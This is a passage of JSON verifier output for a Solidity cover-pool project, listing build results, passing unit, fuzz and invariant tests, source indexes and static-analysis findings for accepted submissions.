src/CoverPool.sol\":250,\"src/CoverTerms.sol\":63,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":311,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/PolicyBook.t.sol\":285,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":348,\"test/ShareSupply.t.sol\":243,\"test/SolvencyInvariant.t.sol\":208,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":134,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"777ebaf669e891e32cf307120334f85ae1f835b05732e2287c7ecd8d7e8f911a","verifiedTreeHash":"005d35ec5ca5cb756a99c6e1d1a44579e628f747","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":5146,"exitCode":0,"name":"build","output":"Compiling 60 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.02s\nCompiler run successful!\n","passed":true},{"durationMs":2202,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 610.95µs (440.16µs CPU time)\n\nRan 6 tests for test/SettlementGate.t.sol:SettlementGateTest\n[PASS] test_certifiedLossIsSharedByEveryLpPresentAtTheSale() (gas: 1317072)\n[PASS] test_earliestOpenEndTracksSettlementInAnyOrder() (gas: 2639486)\n[PASS] test_gateFailsOpenWhenTheCoreCannotBeRead() (gas: 967676)\n[PASS] test_gateOpensOnlyWhenTheWholeWindowIsCertified() (gas: 1038309)\n[PASS] test_settlementSurvivesRaisedOrLoweredCoreBatchLimit() (gas: 4539095)\n[PASS] test_startRoundLeadIsCapped() (gas: 305392)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 20.71ms (11.28ms CPU time)\n\nRan 2 tests for test/SettlementGate.t.sol:OpenEndRoundsTest\n[PASS] testFuzz_earliestMatchesNaiveMinimum(uint64[8],uint8) (runs: 512, μ: 876368, ~: 865899)\nLogs:\n  Bound result 115396\n  Bound result 18\n  Bound result 3666\n  Bound result 46975\n  Bound result 3\n  Bound result 57483\n  Bound result 482\n  Bound result 12\n\n[PASS] test_spansWordsAndSummaryWordsAndEmptiesCleanly() (gas: 1019544)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 204.02ms (204.18ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77531, ~: 77587)\nLogs:\n  Bound result 841\n  Bound result 71\n  Bound result 196\n  Bound result 267\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169026)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 228.84ms (228.76ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1137855, ~: 527290)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 102516)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59325)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14410984)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 432268)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1745327)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2349040)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 397544)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 164270)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 111218)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111748)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129333)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 152994)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 228.79ms (133.65ms CPU time)\n\nRan 4 tests for test/ShareSupply.t.sol:ShareSupplyTest\n[PASS] testFuzz_totalSharesNeverExceedCapAndPreviewsNeverPanic(uint96,uint8) (runs: 512, μ: 3469935, ~: 2086904)\nLogs:\n  Bound result 0\n  Bound result 8960\n\n[PASS] test_recapitalizationSucceedsAfterThreeCompleteLossesByRetiringWorthlessShares() (gas: 8406762)\n[PASS] test_sharesWithValueAreNeverRetiredAndOverflowingDepositsRevertCleanly() (gas: 8486268)\n[PASS] test_supplyCapRejectsTheDepositThatWouldBreakPreviewsAndVictimStaysLiquid() (gas: 8615218)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 228.78ms (247.86ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 350746, ~: 349511)\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 2514264337593536027519\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152216)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 815028)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 189363)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 257797)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 366085)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 321135)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 817774)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 643629)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 41851)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 928275)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 1164698)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 228.89ms (232.55ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsDoNotDependOnChainIdOrCaller() (gas: 1747975)\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 13410219)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 246.67ms (50.71ms CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 606635)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 1183587)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 449643)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 1256893)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 980115)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 1098686)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 1120114)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 246.80ms (4.67ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3607948, ~: 1614219)\nLogs:\n  Bound result 1\n  Bound result 11\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 1137840)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68696)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 595807)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 741356)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 673432)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 1139504)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 732563)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1472302)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 902153)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 768738)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 99210)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 803624)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 710379)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 264146)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 825652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 414284)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 246.91ms (257.53ms CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 148573621\n  Bound result 127\n  Bound result 7524373663796182986383\n  Bound result 10000000000000000000000\n  Bound result 2514264337593599410047\n  Bound result 6753\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 6542890687455212422090\n  Bound result 340587137815095645591\n  Bound result 1\n  Bound result 351378644849883419100\n  Bound result 1462\n  Bound result 100\n  Bound result 3142974760\n  Bound result 2\n  Bound result 3647\n  Bound result 10879532205185145\n  Bound result 6274\n  Bound result 10000000000000000000000000\n  Bound result 6\n  Bound result 1607\n  Bound result 13621\n  Bound result 3\n  Bound result 3334\n  Bound result 1884\n  Bound result 3\n  Bound result 31238880306\n  Bound result 86\n  Bound result 1\n  Bound result 52733278989615170624\n  Bound result 1\n  Bound result 1\n  Bound result 325445092087158932646\n  Bound result 5500\n  Bound result 125\n  Bound result 3473\n  Bound result 24\n  Bound result 16\n  Bound result 3\n  Bound result 80\n  Bound result 3\n  Bound result 96\n  Bound result 226745170657427\n  Bound result 5206\n  Bound result 3\n  Bound result 4144\n  Bound result 2686\n  Bound result 4090\n\n[PASS] test_handlerExercisesSuccessfulPayoutAndRedemption() (gas: 1270902)\nLogs:\n  Bound result 100000000000000000000\n  Bound result 100000000000000000000\n  Bound result 7\n  Bound result 1\n  Bound result 10000000000000000000000000\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.05s (2.05s CPU time)\n\nRan 11 test suites in 2.05s (3.93s CPU time): 76 tests passed, 0 failed, 0 skipped (76 total tests)\n","passed":true},{"durationMs":91,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CoverPool.acceptOwnership()\",\"CoverPool.deposit(uint256,uint256)\",\"CoverPool.lockCover(uint256,address,uint256,uint256)\",\"CoverPool.redeem(uint256,uint256)\",\"CoverPool.resolveCover(uint256,bool)\",\"CoverPool.setPolicyBook(address)\",\"CoverPool.transferOwnership(address)\",\"MockSQK.acceptOwnership()\",\"MockSQK.approve(address,uint256)\",\"MockSQK.mint(address,uint256)\",\"MockSQK.transfer(address,uint256)\",\"MockSQK.transferFrom(address,address,uint256)\",\"MockSQK.transferOwnership(address)\",\"PolicyBook.acceptOwnership()\",\"PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256)\",\"PolicyBook.setPaused(bool)\",\"PolicyBook.settle(uint256)\",\"PolicyBook.transferOwnership(address)\",\"PremiumModel.acceptOwnership()\",\"PremiumModel.setRate(uint16,uint16,uint16,uint16)\",\"PremiumModel.transferOwnership(address)\"],\"files\":{\".gitignore\":4,\"DEPENDENCIES.md\":12,\"LAUNCH.md\":72,\"README.md\":105,\"THREATS.md\":74,\"dependency-checksums.json\":60,\"docs/abi/README.md\":9,\"docs/abi/SqueekCore.readonly.json\":252,\"docs/evidence/sepolia-core-snapshot.json\":36,\"foundry.toml\":21,\"manifest.json\":32,\"remappings.txt\":2,\"src/CoreReader.sol\":146,\"src/CoverPool.sol\":245,\"src/CoverTerms.sol\":34,\"src/Managed.sol\":17,\"src/MockSQK.sol\":20,\"src/OpenEndRounds.sol\":68,\"src/PolicyBook.sol\":208,\"src/PremiumModel.sol\":51,\"src/interfaces/ISqueekCore.sol\":59,\"test/AdversarialTransfers.t.sol\":165,\"test/CoreReader.t.sol\":180,\"test/CoverPool.t.sol\":186,\"test/Deployment.t.sol\":112,\"test/PolicyBook.t.sol\":240,\"test/PremiumAndOwnership.t.sol\":146,\"test/RecordedCore.t.sol\":48,\"test/SettlementGate.t.sol\":226,\"test/ShareSupply.t.sol\":173,\"test/SolvencyInvariant.t.sol\":208,\"test/helpers/AdversarialToken.sol\":64,\"test/helpers/CoverFixture.sol\":81,\"test/helpers/MockCore.sol\":128,\"test/helpers/OpenEndRoundsHarness.sol\":31},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2242,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/PolicyBook.sol:158: Reentrancy in PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#158-192):\n[medium/high] incorrect-equality at src/CoreReader.sol:102: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#102-119) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:102: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#102-119) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:121: CoreReader._samePosition(ISqueekCore.LedgerPosition,ISqueekCore.LedgerPosition) (src/CoreReader.sol#121-128) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CoreReader.sol:71: CoreReader._snapshot() (src/CoreReader.sol#71-100) uses a dangerous strict equality:\n[medium/medium] uninitialized-local at src/CoreReader.sol:77: CoreReader._snapshot().config (src/CoreReader.sol#77) is a local variable never initialized\n[medium/medium] uninitialized-local at src/CoreReader.sol:46: CoreReader.countZeroRounds(uint64,uint16).page (src/CoreReader.sol#46) is a local variable never initialized\n[medium/medium] unused-return at src/PolicyBook.sol:136: PolicyBook.quote(uint64,uint16,uint16,uint256) (src/PolicyBook.sol#136-155) ignores return value by (premium,None) = premiumModel.quote(rounds,thresholdBps,cover,pool.totalAssets(),pool.reserved()) (src/PolicyBook.sol#154)\n[medium/medium] unused-return at src/PolicyBook.sol:126: PolicyBook.settlementPending() (src/PolicyBook.sol#126-134) ignores return value by (frontier) = reader.snapshot() (src/PolicyBook.sol#129-133)\n[low/medium] calls-loop at src/CoreReader.sol:36: CoreReader.countZeroRounds(uint64,uint16) (src/CoreReader.sol#36-67) has external calls inside a loop: result = core.roundPage(cursor,end,pageSize) (src/CoreReader.sol#47-51)\n[low/medium] timestamp at src/CoreReader.sol:36: CoreReader.countZeroRounds(uint64,uint16) (src/CoreReader.sol#36-67) uses timestamp for comparisons\n[low/medium] timestamp at src/PolicyBook.sol:158: PolicyBook.openPolicy(uint64,uint16,uint16,uint256,uint256,uint256) (src/PolicyBook.sol#158-192) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:102: CoreReader._validatePage(ISqueekCore.RoundPage,uint64) (src/CoreReader.sol#102-119) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:71: CoreReader._snapshot() (src/CoreReader.sol#71-100) uses timestamp for comparisons\n[low/medium] timestamp at src/CoreReader.sol:121: CoreReader._samePosition(ISqueekCore.LedgerPosition,ISqueekCore.LedgerPosition) (src/CoreReader.sol#121-128) uses timestamp for comparisons","passed":true},{"durationMs":542,"exitCode":0,"name":"aderyn","output":"[high] reentrancy-state-change at src/CoverPool.sol:85: Reentrancy: State change after external call (2 places)\n[low] centralization-risk at src/CoverPool.sol:81: Centralization Risk (5 places)\n[low] large-numeric-literal at src/CoverPool.sol:23: Large Numeric Literal (3 places)\n[low] literal-instead-of-constant at src/OpenEndRounds.sol:22: Literal Instead of Constant (15 places)\n[low] require-revert-in-loop at src/CoreReader.sol:45: Loop Contains `require`/`revert` (2 places)\n[low] uninitialized-local-variable at src/CoreReader.sol:105: Uninitialized Local Variable (2 places)\n[low] unused-public-function at src/CoreReader.sol:28: Public Function Not Used Internally (3 places)","passed":true},{"durationMs":2348,"exitCode":0,"name":"proof d1319029246b","output":"Compiling 51 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.57s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-15976002/Proof_d1319029246b.t.sol:ShareDenominatorProofTest\n[PASS] test_otherLpCanRedeemAfterAdversarialShareGrowth() (gas: 14803753)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.54ms (4.07ms CPU time)\n\nRan 1 test suite in 5.13ms (4.54ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1810,"exitCode":0,"name":"proof c73837eb5b8d","output":"2026-11-01T08:53:56.202509Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-sXbP3A/repo/test/imd-proof-15976002/Proof_d1319029246b.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.14s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-8c6356b1/Proof_c73837eb5b8d.t.sol:FarFutureLockTest\n[PASS] test_startRoundBeyondAnyReachableRoundIsRejected() (gas: 116598)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.41ms (132.20µs CPU time)\n\nRan 1 test suite in 5.98ms (1.41ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":1966,"exitCode":0,"name":"proof 28263dc012a5","output":"2026-11-01T08:53:58.127069Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-sXbP3A/repo/test/imd-proof-8c6356b1/Proof_c73837eb5b8d.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.25s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-f20e6b33/Proof_28263dc012a5.t.sol:RepeatedLossProofTest\n[PASS] test_recapitalizationRemainsPossibleAfterThreeCoveredLosses() (gas: 14370856)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.76ms (3.36ms CPU time)\n\nRan 1 test suite in 4.45ms (3.76ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":2040,"exitCode":0,"name":"proof f979b24c952f","output":"2026-11-01T08:54:00.179321Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-sXbP3A/repo/test/imd-proof-f20e6b33/Proof_28263dc012a5.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.28s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-0fb0c406/Proof_f979b24c952f.t.sol:ProofExitBeforeSettle\n[PASS] test_firstLpOutCannotEscapeACertifiedLoss() (gas: 937192)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.32ms (699.44µs CPU time)\n\nRan 1 test suite in 4.74ms (2.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"b847c5550b61dc47ab709a640639384980a705328ea74738eab29e3de0cad5b0","verifiedTreeHash":"511ef3a92f8af15b5035dc5d800547f1e51c1cbe","verifierVersion":"0.1.0+a6eb4461"},{"checks":[{"durationMs":4585,"exitCode":0,"name":"build","output":"Compiling 57 files with Solc 0.8.26\nSolc 0.8.26 finished in 4.45s\nCompiler run successful!\n","passed":true},{"durationMs":2004,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RecordedCore.t.sol:RecordedCoreTest\n[PASS] test_readPublishedV3AbiFromRecordedSepoliaResponses() (gas: 69144)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.41ms (1.22ms CPU time)\n\nRan 4 tests for test/Deployment.t.sol:DeploymentTest\n[PASS] test_constructorsSucceedWhenAllExternalDependenciesHaveNoCode() (gas: 10504)\n[PASS] test_deploymentOnMainnetIsRejectedForEveryApplication() (gas: 4439)\n[PASS] test_factoryDeploymentWiresBackwardReferencesAndExplicitOwners() (gas: 11771515)\n[PASS] test_zeroOwnersAndDependencyAddressesRevert() (gas: 4102)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 29.30ms (27.97ms CPU time)\n\nRan 12 tests for test/CoverPool.t.sol:CoverPoolTest\n[PASS] testFuzz_roundTripCannotCreateAssets(uint96,uint96) (runs: 512, μ: 332748, ~: 331512)\nLogs:\n  Bound result 16050922539961441\n  Bound result 1869319773429\n\n[PASS] test_bookBindingIsOneTimeAndRequiredBeforeDeposit() (gas: 152128)\n[PASS] test_cannotReuseReservationOrResolveTwiceEvenAsBook() (gas: 641076)\n[PASS] test_custodyShortfallBlocksRatherThanCreatesUnbackedShares() (gas: 174063)\n[PASS] test_depositAndRedeemSlippageAndZeroAmounts() (gas: 237198)\n[PASS] test_directDonationsCannotInflateSharePrice() (gas: 347082)\n[PASS] test_equalDepositsReceiveEqualSharesAndRedeemCapital() (gas: 300965)\n[PASS] test_lockedCapitalCannotBeWithdrawnButFreeCapitalCan() (gas: 601344)\n[PASS] test_onlyBookCanLockOrReleaseCover() (gas: 487134)\n[PASS] test_onlyCallerSharesCanBeRedeemed() (gas: 39701)\n[PASS] test_premiumsAccrueToLPAndLossReducesShareValue() (gas: 744192)\n[PASS] test_recapitalizationAfterTotalLossDoesNotDivideByZero() (gas: 942098)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 39.74ms (41.98ms CPU time)\n\nRan 13 tests for test/CoreReader.t.sol:CoreReaderTest\n[PASS] testFuzz_sparseWorkMagnitudeDoesNotAffectZeroCount(uint256,uint8) (runs: 512, μ: 1147824, ~: 529490)\n[PASS] test_allMissingCertifiedRoundsAreZero() (gas: 101954)\n[PASS] test_coreReadFailureNeverBecomesAZeroWorkPage() (gas: 59157)\n[PASS] test_dense144RoundsRequiresAllNinePages() (gas: 14409692)\n[PASS] test_excludesActiveRecordsOutsideInclusivePolicyWindow() (gas: 431976)\n[PASS] test_followsReturnedCertificationAcrossGapBeforeNextActiveRound() (gas: 1744788)\n[PASS] test_rejectsDiscontinuousPageStart() (gas: 2348625)\n[PASS] test_rejectsDuplicateUnorderedOutOfRangeAndZeroWorkRecords() (gas: 396816)\n[PASS] test_rejectsInvalidConfigurationAndFutureFrontier() (gas: 163705)\n[PASS] test_rejectsNonAdvancingOrOverreachingPage() (gas: 110782)\n[PASS] test_rejectsUnderfilledTruncationAndInconsistentEndpoint() (gas: 111312)\n[PASS] test_rejectsUnreadableAndUnsupportedCore() (gas: 129203)\n[PASS] test_snapshotUsesGenesisAndExact600SecondBoundary() (gas: 151997)\nSuite result: ok. 13 passed; 0 failed; 0 skipped; finished in 74.34ms (107.01ms CPU time)\n\nRan 7 tests for test/AdversarialTransfers.t.sol:AdversarialTransfersTest\n[PASS] test_depositAndRedeemReentrancyBlocked() (gas: 587872)\n[PASS] test_failedPayoutRollsBackAndCanBeRetried() (gas: 978358)\n[PASS] test_falseReturnAndFeeDepositsRollBack() (gas: 433285)\n[PASS] test_feeOnEitherPremiumLegRollsBackWholePurchase() (gas: 939173)\n[PASS] test_noReturnTokenSupportedBySafeERC20() (gas: 801238)\n[PASS] test_openReentrancyBlockedDuringPremiumReceipt() (gas: 936640)\n[PASS] test_settlementReentrancyBlockedDuringPayout() (gas: 948180)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 162.62ms (4.12ms CPU time)\n\nRan 8 tests for test/PremiumAndOwnership.t.sol:PremiumAndOwnershipTest\n[PASS] testFuzz_premiumsBoundedAndMonotonic(uint96,uint96,uint16,uint16) (runs: 512, μ: 77529, ~: 77587)\nLogs:\n  Bound result 7669384415177\n  Bound result 1698401339320\n  Bound result 518\n  Bound result 958\n\n[PASS] test_allAdminFunctionsRejectStrangersIncludingFactory() (gas: 169048)\n[PASS] test_configuredTableHasIndependentTwelveEntries() (gas: 593016)\n[PASS] test_fullUtilizationAndAtomRounding() (gas: 26665)\n[PASS] test_invalidRatesTermsAndLiquidity() (gas: 154575)\n[PASS] test_pricesMustBeExplicitlyConfigured() (gas: 83279)\n[PASS] test_tokenMetadataInitialSupplyAndOwnerMint() (gas: 156741)\n[PASS] test_twoStepOwnerHandoverAndNoRenunciation() (gas: 223470)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 175.00ms (176.15ms CPU time)\n\nRan 17 tests for test/PolicyBook.t.sol:PolicyBookTest\n[PASS] testFuzz_allTermsExactThreshold(uint8,uint8,uint8,uint96) (runs: 512, μ: 3430788, ~: 1449443)\nLogs:\n  Bound result 1\n  Bound result 11\n\n[PASS] test_anyoneSettlesAndOnlyHolderReceivesPayout() (gas: 968909)\n[PASS] test_corePauseBlocksOpenWithoutAppPause() (gas: 68457)\n[PASS] test_expiredDeadlineAndBoundary() (gas: 439363)\n[PASS] test_frontRunPriceIncreaseRespectsMaxPremium() (gas: 583890)\n[PASS] test_noCoverCanDependOnItsOwnIncomingPremium() (gas: 516671)\n[PASS] test_nonTriggerRetainsPremiumAndReleasesReserve() (gas: 968490)\n[PASS] test_openCollectsPremiumAndReservesEntireCover() (gas: 576185)\n[PASS] test_overlappingPoliciesSettleIndependentlyInReverseOrder() (gas: 1205305)\n[PASS] test_pauseBlocksOpenButAllowsCertifiedSettlement() (gas: 728101)\n[PASS] test_rateUpdatesDoNotChangePurchasedPolicy() (gas: 594903)\n[PASS] test_rejectsInvalidTermsAndOverflow() (gas: 98761)\n[PASS] test_settlementCannotReplayOrSettleMissingId() (gas: 629723)\n[PASS] test_settlesAtFrontierEqualEnd() (gas: 536544)\n[PASS] test_startMustExceedClockEvenWhenCoreIsBehind() (gas: 262893)\n[PASS] test_unknownRoundsNeverSettleEvenYearsLater() (gas: 651652)\n[PASS] test_unpaidPremiumRollsBackPolicyAndReservation() (gas: 257951)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 203.20ms (218.31ms CPU time)\n\nRan 2 tests for test/SolvencyInvariant.t.sol:SolvencyInvariantTest\n[PASS]\nSolvencyInvariantTest invariants:\n[PASS] invariant_allObligationsRemainFullyBacked\n[PASS] invariant_assetsAreConservedAndSharesReconcile\n SolvencyInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭--------------+----------+-------+---------+----------╮\n| Contract     | Selector | Calls | Reverts | Discards |\n+======================================================+\n| CoverHandler | advance  | 981   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | deposit  | 964   | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | donate   | 1038  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | elapse   | 1014  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | open     | 1092  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | pause    | 1037  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | redeem   | 1012  | 0       | 0        |\n|--------------+----------+-------+---------+----------|\n| CoverHandler | settle   | 1054  | 0       | 0        |\n╰--------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 10000000000000000000000\n  Bound result 3133\n  Bound result 127\n  Bound result 8524373659279480997421\n  Bound result 7000\n  Bound result 2514264337649059122047\n  Bound result 578\n  Bound result 297\n  Bound result 1\n  Bound result 26441138205160868906003\n  Bound result 6542890761493937287090\n  Bound result 455742138123547309735\n  Bound result 1\n  Bound result 425275956847850095332\n  Bound result 5343\n  Bound result 2243\n  Bound result 2083\n  Bound result 2\n  Bound result 